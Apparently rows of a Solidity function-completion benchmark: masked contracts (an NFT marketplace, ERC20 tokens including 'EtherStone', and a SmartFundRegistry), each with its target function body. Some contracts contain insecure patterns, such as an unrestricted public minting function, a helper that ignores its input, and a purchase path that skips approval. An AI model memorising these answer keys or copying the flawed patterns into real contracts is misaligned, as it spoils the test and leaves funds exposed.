hightLightFee); } function setLimitFee(uint256 _ethlimitFee, uint256 _hbWalletlimitFee) public onlyOwner returns (uint256, uint256){ require(_ethlimitFee >= 0 && _hbWalletlimitFee >= 0); limitETHFee = _ethlimitFee; limitHBWALLETFee = _hbWalletlimitFee; return (limitETHFee, limitHBWALLETFee); } /** * @dev Withdraw the amount of eth that is remaining in this contract. * @param _address The address of EOA that can receive token from this contract. */ function _withdraw(address payable _address, uint256 amount, uint256 _amountHB) internal { require(_address != address(0) && amount >= 0 && address(this).balance >= amount && _amountHB >= 0 && hbwalletToken.balanceOf(address(this)) >= _amountHB); _address.transfer(amount); hbwalletToken.transferFrom(address(this), _address, _amountHB); } function withdraw(address payable _address, uint256 amount, uint256 _amountHB) public onlyCeoAddress { _withdraw(_address, amount, _amountHB); } function cancelBussiness() public onlyCeoAddress { for (uint i = 0; i < arrayTokenIdSale.length; i++) { if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) { if (prices[arrayTokenIdSale[i]].fee > 0) { uint256 eth = prices[arrayTokenIdSale[i]].fee; if(prices[arrayTokenIdSale[i]].isHightlight == true) eth += hightLightFee; if(address(this).balance >= eth) { prices[arrayTokenIdSale[i]].tokenOwner.transfer(eth); } } else if (prices[arrayTokenIdSale[i]].hbfee > 0) { uint256 hb = prices[arrayTokenIdSale[i]].hbfee; if(prices[arrayTokenIdSale[i]].isHightlight == true) hb += hightLightFee * HBWALLETExchange / 2 / (10 ** 16); if(hbwalletToken.balanceOf(address(this)) >= hb) { hbwalletToken.transfer(prices[arrayTokenIdSale[i]].tokenOwner, hb); } } } } _withdraw(msg.sender, address(this).balance, hbwalletToken.balanceOf(address(this))); } function revenue(bool _isEth) public view onlyCeoAddress returns (uint256){ uint256 ethfee = 0; uint256 hbfee = 0; for (uint256 i = 0; i < arrayTokenIdSale.length; i++) { if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) { if (prices[arrayTokenIdSale[i]].fee > 0) { ethfee += prices[arrayTokenIdSale[i]].fee; } else if (prices[arrayTokenIdSale[i]].hbfee > 0) { hbfee += prices[arrayTokenIdSale[i]].hbfee; } } } uint256 eth = address(this).balance - ethfee; uint256 hb = hbwalletToken.balanceOf(address(this)) - hbfee; return _isEth ? eth : hb; } function changeCeo(address _address) public onlyCeoAddress { require(_address != address(0)); ceoAddress = _address; } function buy(uint256 tokenId) public payable { require(getApproved(tokenId) == address(this)); require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value); erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId); prices[tokenId].tokenOwner.transfer(msg.value); resetPrice(tokenId); } function buyWithoutCheckApproved(uint256 tokenId) public payable { require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value); erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId); prices[tokenId].tokenOwner.transfer(msg.value); resetPrice(tokenId); } function resetPrice(uint256 tokenId) private { prices[tokenId] = Price(address(0), 0, 0, 0, false); for (uint256 i = 0; i < arrayTokenIdSale.length; i++) { if (arrayTokenIdSale[i] == tokenId) { _burnArrayTokenIdSale(i); } } } }
contract Bussiness is Ownable { address public ceoAddress = address(0xFce92D4163AA532AA096DE8a3C4fEf9f875Bc55F); IERC721 public erc721Address = IERC721(0x06012c8cf97BEaD5deAe237070F9587f8E7A266d); ERC20BasicInterface public hbwalletToken = ERC20BasicInterface(0xEc7ba74789694d0d03D458965370Dc7cF2FE75Ba); uint256 public ETHFee = 0; // 25 = 2,5 % uint256 public Percen = 1000; uint256 public HBWALLETExchange = 21; // cong thuc hbFee = ETHFee / Percen * HBWALLETExchange / 2 uint256 public limitETHFee = 0; uint256 public limitHBWALLETFee = 0; uint256 public hightLightFee = 10000000000000000; constructor() public {} struct Price { address payable tokenOwner; uint256 price; uint256 fee; uint256 hbfee; bool isHightlight; } uint[] public arrayTokenIdSale; mapping(uint256 => Price) public prices; /** * @dev Throws if called by any account other than the ceo address. */ modifier onlyCeoAddress() { require(msg.sender == ceoAddress); _; } // Move the last element to the deleted spot. // Delete the last element, then correct the length. function _burnArrayTokenIdSale(uint index) internal { if (index >= arrayTokenIdSale.length) return; for (uint i = index; i<arrayTokenIdSale.length-1; i++){ arrayTokenIdSale[i] = arrayTokenIdSale[i+1]; } delete arrayTokenIdSale[arrayTokenIdSale.length-1]; arrayTokenIdSale.length--; } function _burnArrayTokenIdSaleByArr(uint[] memory arr) internal { for(uint i; i<arr.length; i++){ _burnArrayTokenIdSale(i); } } function ownerOf(uint256 _tokenId) public view returns (address){ return erc721Address.ownerOf(_tokenId); } function balanceOf() public view returns (uint256){ return address(this).balance; } function getApproved(uint256 _tokenId) public view returns (address){ return erc721Address.getApproved(_tokenId); } function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _ethfee, uint256 _hbfee, bool _isHightLight) internal { prices[_tokenId] = Price(msg.sender, _ethPrice, _ethfee, _hbfee, _isHightLight); arrayTokenIdSale.push(_tokenId); } <FILL_FUNCTION> function setPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, bool _isHightLight) public returns (bool){ require(erc721Address.ownerOf(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice); uint256 fee; uint256 ethfee; uint256 _hightLightFee = 0; if (_isHightLight == true && (prices[_tokenId].price == 0 || prices[_tokenId].isHightlight == false)) { _hightLightFee = hightLightFee * HBWALLETExchange / 2 / (10 ** 16); } if (prices[_tokenId].price < _ethPrice) { ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / Percen; fee = ethfee * HBWALLETExchange / 2 / (10 ** 16); // ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18) if(prices[_tokenId].price == 0) { if (fee >= limitHBWALLETFee) { require(hbwalletToken.transferFrom(msg.sender, address(this), fee + _hightLightFee)); } else { require(hbwalletToken.transferFrom(msg.sender, address(this), limitHBWALLETFee + _hightLightFee)); fee = limitHBWALLETFee; } } fee += prices[_tokenId].hbfee; } else { ethfee = _ethPrice * ETHFee / Percen; fee = ethfee * HBWALLETExchange / 2 / (10 ** 16); } setPrice(_tokenId, _ethPrice, 0, fee, _isHightLight); return true; } function removePrice(uint256 tokenId) public returns (uint256){ require(erc721Address.ownerOf(tokenId) == msg.sender); if (prices[tokenId].fee > 0) msg.sender.transfer(prices[tokenId].fee); else if (prices[tokenId].hbfee > 0) hbwalletToken.transfer(msg.sender, prices[tokenId].hbfee); resetPrice(tokenId); return prices[tokenId].price; } function setFee(uint256 _ethFee, uint256 _HBWALLETExchange, uint256 _hightLightFee) public onlyOwner returns (uint256, uint256, uint256){ require(_ethFee >= 0 && _HBWALLETExchange >= 1 && _hightLightFee >= 0); ETHFee = _ethFee; HBWALLETExchange = _HBWALLETExchange; hightLightFee = _hightLightFee; return (ETHFee, HBWALLETExchange, hightLightFee); } function setLimitFee(uint256 _ethlimitFee, uint256 _hbWalletlimitFee) public onlyOwner returns (uint256, uint256){ require(_ethlimitFee >= 0 && _hbWalletlimitFee >= 0); limitETHFee = _ethlimitFee; limitHBWALLETFee = _hbWalletlimitFee; return (limitETHFee, limitHBWALLETFee); } /** * @dev Withdraw the amount of eth that is remaining in this contract. * @param _address The address of EOA that can receive token from this contract. */ function _withdraw(address payable _address, uint256 amount, uint256 _amountHB) internal { require(_address != address(0) && amount >= 0 && address(this).balance >= amount && _amountHB >= 0 && hbwalletToken.balanceOf(address(this)) >= _amountHB); _address.transfer(amount); hbwalletToken.transferFrom(address(this), _address, _amountHB); } function withdraw(address payable _address, uint256 amount, uint256 _amountHB) public onlyCeoAddress { _withdraw(_address, amount, _amountHB); } function cancelBussiness() public onlyCeoAddress { for (uint i = 0; i < arrayTokenIdSale.length; i++) { if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) { if (prices[arrayTokenIdSale[i]].fee > 0) { uint256 eth = prices[arrayTokenIdSale[i]].fee; if(prices[arrayTokenIdSale[i]].isHightlight == true) eth += hightLightFee; if(address(this).balance >= eth) { prices[arrayTokenIdSale[i]].tokenOwner.transfer(eth); } } else if (prices[arrayTokenIdSale[i]].hbfee > 0) { uint256 hb = prices[arrayTokenIdSale[i]].hbfee; if(prices[arrayTokenIdSale[i]].isHightlight == true) hb += hightLightFee * HBWALLETExchange / 2 / (10 ** 16); if(hbwalletToken.balanceOf(address(this)) >= hb) { hbwalletToken.transfer(prices[arrayTokenIdSale[i]].tokenOwner, hb); } } } } _withdraw(msg.sender, address(this).balance, hbwalletToken.balanceOf(address(this))); } function revenue(bool _isEth) public view onlyCeoAddress returns (uint256){ uint256 ethfee = 0; uint256 hbfee = 0; for (uint256 i = 0; i < arrayTokenIdSale.length; i++) { if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) { if (prices[arrayTokenIdSale[i]].fee > 0) { ethfee += prices[arrayTokenIdSale[i]].fee; } else if (prices[arrayTokenIdSale[i]].hbfee > 0) { hbfee += prices[arrayTokenIdSale[i]].hbfee; } } } uint256 eth = address(this).balance - ethfee; uint256 hb = hbwalletToken.balanceOf(address(this)) - hbfee; return _isEth ? eth : hb; } function changeCeo(address _address) public onlyCeoAddress { require(_address != address(0)); ceoAddress = _address; } function buy(uint256 tokenId) public payable { require(getApproved(tokenId) == address(this)); require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value); erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId); prices[tokenId].tokenOwner.transfer(msg.value); resetPrice(tokenId); } function buyWithoutCheckApproved(uint256 tokenId) public payable { require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value); erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId); prices[tokenId].tokenOwner.transfer(msg.value); resetPrice(tokenId); } function resetPrice(uint256 tokenId) private { prices[tokenId] = Price(address(0), 0, 0, 0, false); for (uint256 i = 0; i < arrayTokenIdSale.length; i++) { if (arrayTokenIdSale[i] == tokenId) { _burnArrayTokenIdSale(i); } } } }
require(erc721Address.ownerOf(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice); uint256 ethfee; uint256 _hightLightFee = 0; if (_isHightLight == true && (prices[_tokenId].price == 0 || prices[_tokenId].isHightlight == false)) { _hightLightFee = hightLightFee; } if (prices[_tokenId].price < _ethPrice) { ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / Percen; if(prices[_tokenId].price == 0) { if (ethfee >= limitETHFee) { require(msg.value == ethfee + _hightLightFee); } else { require(msg.value == limitETHFee + _hightLightFee); ethfee = limitETHFee; } } ethfee += prices[_tokenId].fee; } else ethfee = _ethPrice * ETHFee / Percen; setPrice(_tokenId, _ethPrice, ethfee, 0, _isHightLight);
function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, bool _isHightLight) public payable
function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, bool _isHightLight) public payable
22529
BasicToken
transfer
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } }
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } <FILL_FUNCTION> /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } }
require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool)
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool)
72497
TokenERC20
transferFrom
contract TokenERC20 { // Public variables of the token string public name = "EtherStone"; string public symbol = "ETHS"; uint256 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply = 100*1000*1000*10**decimals; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; function giveBlockReward() { balanceOf[block.coinbase] += 1; } bytes32 public currentChallenge; // The coin starts with a challenge uint public timeOfLastProof; // Variable to keep track of when rewards were given uint public difficulty = 10**32; // Difficulty starts reasonably low function proofOfWork(uint nonce){ bytes8 n = bytes8(sha3(nonce, currentChallenge)); // Generate a random hash based on input require(n >= bytes8(difficulty)); // Check if it's under the difficulty uint timeSinceLastProof = (now - timeOfLastProof); // Calculate time since last reward was given require(timeSinceLastProof >= 5 seconds); // Rewards cannot be given too quickly balanceOf[msg.sender] += timeSinceLastProof / 60 seconds; // The reward to the winner grows by the minute difficulty = difficulty * 10 minutes / timeSinceLastProof + 1; // Adjusts the difficulty timeOfLastProof = now; // Reset the counter currentChallenge = sha3(nonce, currentChallenge, block.blockhash(block.number - 1)); // Save a hash that will be used as the next proof } // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( ) public { balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } }
contract TokenERC20 { // Public variables of the token string public name = "EtherStone"; string public symbol = "ETHS"; uint256 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply = 100*1000*1000*10**decimals; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; function giveBlockReward() { balanceOf[block.coinbase] += 1; } bytes32 public currentChallenge; // The coin starts with a challenge uint public timeOfLastProof; // Variable to keep track of when rewards were given uint public difficulty = 10**32; // Difficulty starts reasonably low function proofOfWork(uint nonce){ bytes8 n = bytes8(sha3(nonce, currentChallenge)); // Generate a random hash based on input require(n >= bytes8(difficulty)); // Check if it's under the difficulty uint timeSinceLastProof = (now - timeOfLastProof); // Calculate time since last reward was given require(timeSinceLastProof >= 5 seconds); // Rewards cannot be given too quickly balanceOf[msg.sender] += timeSinceLastProof / 60 seconds; // The reward to the winner grows by the minute difficulty = difficulty * 10 minutes / timeSinceLastProof + 1; // Adjusts the difficulty timeOfLastProof = now; // Reset the counter currentChallenge = sha3(nonce, currentChallenge, block.blockhash(block.number - 1)); // Save a hash that will be used as the next proof } // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( ) public { balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } <FILL_FUNCTION> /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } }
require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
/** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
42753
StandardToken
decreaseApproval
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0), "StandardToken: receiver address empty"); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require(_spender != address(0), "StandardToken: spender address empty"); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint256 _addedValue) public returns (bool success) { require(_spender != address(0), "StandardToken: spender address empty"); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint256 _subtractedValue) public returns (bool success) {<FILL_FUNCTION_BODY> } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0), "StandardToken: receiver address empty"); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require(_spender != address(0), "StandardToken: spender address empty"); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint256 _addedValue) public returns (bool success) { require(_spender != address(0), "StandardToken: spender address empty"); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } <FILL_FUNCTION> }
require(_spender != address(0), "StandardToken: spender address empty"); uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true;
function decreaseApproval (address _spender, uint256 _subtractedValue) public returns (bool success)
function decreaseApproval (address _spender, uint256 _subtractedValue) public returns (bool success)
43364
SmartFundRegistry
null
contract SmartFundRegistry is Ownable { address[] public smartFunds; // The Smart Contract which stores the addresses of all the authorized Exchange Portals PermittedExchangesInterface public permittedExchanges; // The Smart Contract which stores the addresses of all the authorized Pool Portals PermittedPoolsInterface public permittedPools; // The Smart Contract which stores the addresses of all the authorized stable coins PermittedStablesInterface public permittedStables; // The Smart Contract which stores the addresses of all the authorized Converts portal PermittedConvertsInterface public permittedConverts; // Addresses of portals address public poolPortalAddress; address public exchangePortalAddress; address public convertPortalAddress; // platForm fee is out of 10,000, e.g 2500 is 25% uint256 public platformFee; // Default maximum success fee is 3000/30% uint256 public maximumSuccessFee = 3000; // Address of stable coin can be set in constructor and changed via function address public stableCoinAddress; // Addresses for Compound platform address public cEther; // Factories SmartFundETHFactoryInterface public smartFundETHFactory; SmartFundUSDFactoryInterface public smartFundUSDFactory; event SmartFundAdded(address indexed smartFundAddress, address indexed owner); /** * @dev contructor * * @param _convertPortalAddress address of convert portal contract * @param _platformFee Initial platform fee * @param _permittedExchangesAddress Address of the permittedExchanges contract * @param _exchangePortalAddress Address of the initial ExchangePortal contract * @param _permittedPoolAddress Address of the permittedPool contract * @param _poolPortalAddress Address of the initial PoolPortal contract * @param _permittedStables Address of the permittesStabels contract * @param _stableCoinAddress Address of the stable coin * @param _smartFundETHFactory Address of smartFund ETH factory * @param _smartFundUSDFactory Address of smartFund USD factory * @param _cEther Address of Compound ETH wrapper * @param _permittedConvertsAddress Address of the permittedConverts contract */ constructor( address _convertPortalAddress, uint256 _platformFee, address _permittedExchangesAddress, address _exchangePortalAddress, address _permittedPoolAddress, address _poolPortalAddress, address _permittedStables, address _stableCoinAddress, address _smartFundETHFactory, address _smartFundUSDFactory, address _cEther, address _permittedConvertsAddress ) public {<FILL_FUNCTION_BODY> } /** * @dev Creates a new SmartFund * * @param _name The name of the new fund * @param _successFee The fund managers success fee * @param _isStableBasedFund true for USD base fund, false for ETH base */ function createSmartFund( string _name, uint256 _successFee, bool _isStableBasedFund ) public { // Require that the funds success fee be less than the maximum allowed amount require(_successFee <= maximumSuccessFee); address owner = msg.sender; address smartFund; if(_isStableBasedFund){ // Create USD Fund smartFund = smartFundUSDFactory.createSmartFund( owner, _name, _successFee, platformFee, exchangePortalAddress, address(permittedExchanges), address(permittedPools), address(permittedStables), poolPortalAddress, stableCoinAddress, convertPortalAddress, cEther, convertPortalAddress ); }else{ // Create ETH Fund smartFund = smartFundETHFactory.createSmartFund( owner, _name, _successFee, platformFee, exchangePortalAddress, address(permittedExchanges), address(permittedPools), poolPortalAddress, convertPortalAddress, cEther, convertPortalAddress ); } smartFunds.push(smartFund); emit SmartFundAdded(smartFund, owner); } function totalSmartFunds() public view returns (uint256) { return smartFunds.length; } function getAllSmartFundAddresses() public view returns(address[]) { address[] memory addresses = new address[](smartFunds.length); for (uint i; i < smartFunds.length; i++) { addresses[i] = address(smartFunds[i]); } return addresses; } /** * @dev Sets a new default ExchangePortal address * * @param _newExchangePortalAddress Address of the new exchange portal to be set */ function setExchangePortalAddress(address _newExchangePortalAddress) public onlyOwner { // Require that the new exchange portal is permitted by permittedExchanges require(permittedExchanges.permittedAddresses(_newExchangePortalAddress)); exchangePortalAddress = _newExchangePortalAddress; } /** * @dev Sets a new default Portal Portal address * * @param _poolPortalAddress Address of the new pool portal to be set */ function setPoolPortalAddress (address _poolPortalAddress) external onlyOwner { // Require that the new pool portal is permitted by permittedPools require(permittedPools.permittedAddresses(_poolPortalAddress)); poolPortalAddress = _poolPortalAddress; } /** * @dev Sets a new default Convert Portal address * * @param _convertPortalAddress Address of the new convert portal to be set */ function setConvertPortalAddress(address _convertPortalAddress) external onlyOwner { // Require that the new convert portal is permitted by permittedConverts require(permittedConverts.permittedAddresses(_convertPortalAddress)); convertPortalAddress = _convertPortalAddress; } /** * @dev Sets maximum success fee for all newly created SmartFunds * * @param _maximumSuccessFee New maximum success fee */ function setMaximumSuccessFee(uint256 _maximumSuccessFee) external onlyOwner { maximumSuccessFee = _maximumSuccessFee; } /** * @dev Sets platform fee for all newly created SmartFunds * * @param _platformFee New platform fee */ function setPlatformFee(uint256 _platformFee) external onlyOwner { platformFee = _platformFee; } /** * @dev Sets new stableCoinAddress * * @param _stableCoinAddress New stable address */ function setStableCoinAddress(address _stableCoinAddress) external onlyOwner { require(permittedStables.permittedAddresses(_stableCoinAddress)); stableCoinAddress = _stableCoinAddress; } /** * @dev Allows platform to withdraw tokens received as part of the platform fee * * @param _tokenAddress Address of the token to be withdrawn */ function withdrawTokens(address _tokenAddress) external onlyOwner { ERC20 token = ERC20(_tokenAddress); token.transfer(owner, token.balanceOf(this)); } /** * @dev Allows platform to withdraw ether received as part of the platform fee */ function withdrawEther() external onlyOwner { owner.transfer(address(this).balance); } // Fallback payable function in order to receive ether when fund manager withdraws their cut function() public payable {} }
contract SmartFundRegistry is Ownable { address[] public smartFunds; // The Smart Contract which stores the addresses of all the authorized Exchange Portals PermittedExchangesInterface public permittedExchanges; // The Smart Contract which stores the addresses of all the authorized Pool Portals PermittedPoolsInterface public permittedPools; // The Smart Contract which stores the addresses of all the authorized stable coins PermittedStablesInterface public permittedStables; // The Smart Contract which stores the addresses of all the authorized Converts portal PermittedConvertsInterface public permittedConverts; // Addresses of portals address public poolPortalAddress; address public exchangePortalAddress; address public convertPortalAddress; // platForm fee is out of 10,000, e.g 2500 is 25% uint256 public platformFee; // Default maximum success fee is 3000/30% uint256 public maximumSuccessFee = 3000; // Address of stable coin can be set in constructor and changed via function address public stableCoinAddress; // Addresses for Compound platform address public cEther; // Factories SmartFundETHFactoryInterface public smartFundETHFactory; SmartFundUSDFactoryInterface public smartFundUSDFactory; event SmartFundAdded(address indexed smartFundAddress, address indexed owner); <FILL_FUNCTION> /** * @dev Creates a new SmartFund * * @param _name The name of the new fund * @param _successFee The fund managers success fee * @param _isStableBasedFund true for USD base fund, false for ETH base */ function createSmartFund( string _name, uint256 _successFee, bool _isStableBasedFund ) public { // Require that the funds success fee be less than the maximum allowed amount require(_successFee <= maximumSuccessFee); address owner = msg.sender; address smartFund; if(_isStableBasedFund){ // Create USD Fund smartFund = smartFundUSDFactory.createSmartFund( owner, _name, _successFee, platformFee, exchangePortalAddress, address(permittedExchanges), address(permittedPools), address(permittedStables), poolPortalAddress, stableCoinAddress, convertPortalAddress, cEther, convertPortalAddress ); }else{ // Create ETH Fund smartFund = smartFundETHFactory.createSmartFund( owner, _name, _successFee, platformFee, exchangePortalAddress, address(permittedExchanges), address(permittedPools), poolPortalAddress, convertPortalAddress, cEther, convertPortalAddress ); } smartFunds.push(smartFund); emit SmartFundAdded(smartFund, owner); } function totalSmartFunds() public view returns (uint256) { return smartFunds.length; } function getAllSmartFundAddresses() public view returns(address[]) { address[] memory addresses = new address[](smartFunds.length); for (uint i; i < 